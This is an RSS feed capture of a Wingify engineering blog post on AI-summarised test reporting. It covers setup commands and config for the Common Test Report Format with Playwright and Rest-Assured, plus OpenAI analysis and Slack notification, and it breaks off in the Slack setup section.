CINXE.COM

<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Wingify Engineering]]></title><description><![CDATA[This is the engineering blog from the hackers at Wingify]]></description><link>https://engineering.wingify.com/</link><image><url>https://engineering.wingify.com//logos/logo-48.png</url><title>Wingify Engineering</title><link>https://engineering.wingify.com/</link></image><generator>GatsbyJS Advanced Starter</generator><lastBuildDate>Mon, 17 Mar 2025 10:41:45 GMT</lastBuildDate><atom:link href="https://engineering.wingify.com//atom.xml" rel="self" type="application/rss+xml"/><copyright><![CDATA[Copyright © Wingify. All rights reserved.]]></copyright><item><title><![CDATA[Revolutionizing Test Reporting with AI at Wingify - A Deep Dive into CTRF Integration]]></title><description><![CDATA[Introduction Wingify dramatically improved its software testing process by integrating the Common Test Report Format (CTRF) with AI-powered…]]></description><link>https://engineering.wingify.com//posts/revolutionizing-test-reporting-with-ai/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/revolutionizing-test-reporting-with-ai/</guid><pubDate>Mon, 17 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2025/03/ctrf-report-01.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h2&gt; &lt;p&gt;Wingify dramatically improved its software testing process by integrating the Common Test Report Format (CTRF) with AI-powered analysis. This resulted in a 40% reduction in test analysis time and significantly enhanced collaboration between QA and development teams. This article outlines the key improvements and provides practical guidance for implementing a similar system.&lt;/p&gt; &lt;h3 id=&quot;the-challenge-slow-inefficient-test-reporting&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-challenge-slow-inefficient-test-reporting&quot; aria-label=&quot;the challenge slow inefficient test reporting permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Challenge: Slow, Inefficient Test Reporting&lt;/h3&gt; &lt;p&gt;Traditional software testing often involves lengthy manual analysis of test results, hindering rapid feedback loops and slowing down development cycles. At Wingify, this meant significant time was wasted sifting through test reports, identifying root causes of failures, and coordinating fixes.&lt;/p&gt; &lt;h3 id=&quot;our-solution-ctrf--ai--faster-smarter-testing&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#our-solution-ctrf--ai--faster-smarter-testing&quot; aria-label=&quot;our solution ctrf ai faster smarter testing permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Our Solution: CTRF + AI = Faster, Smarter Testing&lt;/h3&gt; &lt;p&gt;We addressed this challenge by implementing a three-pronged solution:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Standardized Reporting with CTRF:&lt;/strong&gt; We adopted the Common Test Report Format (CTRF), a JSON-based standard for test results, ensuring consistency across our Playwright and Rest-Assured testing frameworks. This eliminated the inconsistencies and difficulties in interpreting different reporting formats.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;AI-Powered Analysis:&lt;/strong&gt; We integrated an AI-driven test reporter that analyzes CTRF reports, identifying patterns, root causes, and suggesting potential areas for investigation. This leverages the power of OpenAI and Anthropic Claude models to provide concise, actionable summaries of test failures. (See detailed integration guides below).&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Streamlined Communication with Slack Integration:&lt;/strong&gt; Test results and AI-generated summaries are automatically pushed to Slack, enabling real-time communication and collaboration between QA and development teams. This ensures faster issue resolution and improved sprint retrospectives.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;key-results&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#key-results&quot; aria-label=&quot;key results permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Key Results:&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;40% Reduction in Test Analysis Time:&lt;/strong&gt; AI-powered summaries significantly reduced the time spent manually analyzing test failures.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Improved Collaboration:&lt;/strong&gt; Real-time Slack notifications and standardized reports fostered better communication and collaboration.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;More Efficient Sprint Retrospectives:&lt;/strong&gt; Clearer, concise reports facilitated more productive retrospective meetings.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Better Tracking of Recurring Issues:&lt;/strong&gt; The AI&apos;s pattern recognition capabilities helped identify and address recurring problems more effectively.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;getting-started-a-high-level-overview&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#getting-started-a-high-level-overview&quot; aria-label=&quot;getting started a high level overview permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Getting Started: A High-Level Overview&lt;/strong&gt;&lt;/h2&gt; &lt;p&gt;This system uses a simple workflow:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Test Execution:&lt;/strong&gt; Run your tests using Playwright or Rest-Assured.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;CTRF Report Generation:&lt;/strong&gt; The chosen framework generates a CTRF-compliant JSON report. For Rest-Assured (using TestNG reports), a conversion tool is used to convert TestNG reports to CTRF format.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;AI Analysis:&lt;/strong&gt; The AI reporter processes the CTRF report and generates a summary.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Slack Notification:&lt;/strong&gt; The summary is automatically sent to a designated Slack channel.&lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;detailed-integration-guides&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#detailed-integration-guides&quot; aria-label=&quot;detailed integration guides permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Detailed Integration Guides&lt;/strong&gt;&lt;/h2&gt; &lt;p&gt;This section covers Playwright and Rest-Assured integration separately, focusing on the common elements of CTRF report generation, AI analysis, and Slack integration.&lt;/p&gt; &lt;h3 id=&quot;playwright-integration&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#playwright-integration&quot; aria-label=&quot;playwright integration permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Playwright Integration&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;First, install the Playwright CTRF JSON reporter:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; --save-dev playwright-ctrf-json-reporter&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Configure your Playwright setup in playwright.config.ts:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; reporter&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;list&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Standard Playwright reporter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;playwright-ctrf-json-reporter&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; outputFile&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ctrf/ctrf-report.json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Optional: customize output path&lt;/span&gt; includeEnvironmentInfo&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Optional: include env details&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This generates a standardised CTRF-compliant JSON report with the following structure:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;results&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;tool&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;playwright&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;summary&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;tests&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;passed&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;failed&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;pending&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;skipped&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;other&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;start&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1706828654274&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;stop&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1706828655782&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;tests&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ctrf should generate the same report with any tool&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;status&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;passed&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;duration&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;environment&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;appName&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;MyApp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;buildName&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;MyBuild&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;buildNumber&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;rest-assured-integration&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#rest-assured-integration&quot; aria-label=&quot;rest assured integration permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Rest-Assured Integration&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;We&apos;ve extended this approach to our Rest Assured API testing framework. Rest Assured typically uses TestNG reports. To integrate these into our AI-powered reporting system, we first need to convert the TestNG report to a CTRF-compliant JSON file using our open-sourced plugin &lt;a href=&quot;https://github.com/wingify/testng-to-ctrf&quot;&gt;TestNG to CTRF Converter&lt;/a&gt;. This command will generate a CTRF JSON file.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;testng-to-ctrf &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;path-to-testng-results.xml&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;implementing-ai-powered-analysis&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#implementing-ai-powered-analysis&quot; aria-label=&quot;implementing ai powered analysis permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Implementing AI-Powered Analysis&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;AI analysis implementation supports both OpenAI and Anthropic Claude models. Here&apos;s how to set it up:&lt;/p&gt; &lt;h3 id=&quot;openai-implementation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#openai-implementation&quot; aria-label=&quot;openai implementation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;OpenAI Implementation&lt;/h3&gt; &lt;p&gt;First, set up your OpenAI API key:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;OPENAI_API_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;your-openai-api-key&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Run the AI analysis:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;npx ai-ctrf openai ctrf/ctrf-report.json --model gpt-4o --temperature &lt;span class=&quot;token number&quot;&gt;0.3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;slack-integration-setup&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#slack-integration-setup&quot; aria-label=&quot;slack integration setup permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Slack Integration Setup&lt;/strong&gt;&lt;/h3&gt; &lt;h3 id=&quot;setting-up-slack-webhooks&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#setting-up-slack-webhooks&quot; aria-label=&quot;setting up slack webhooks permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 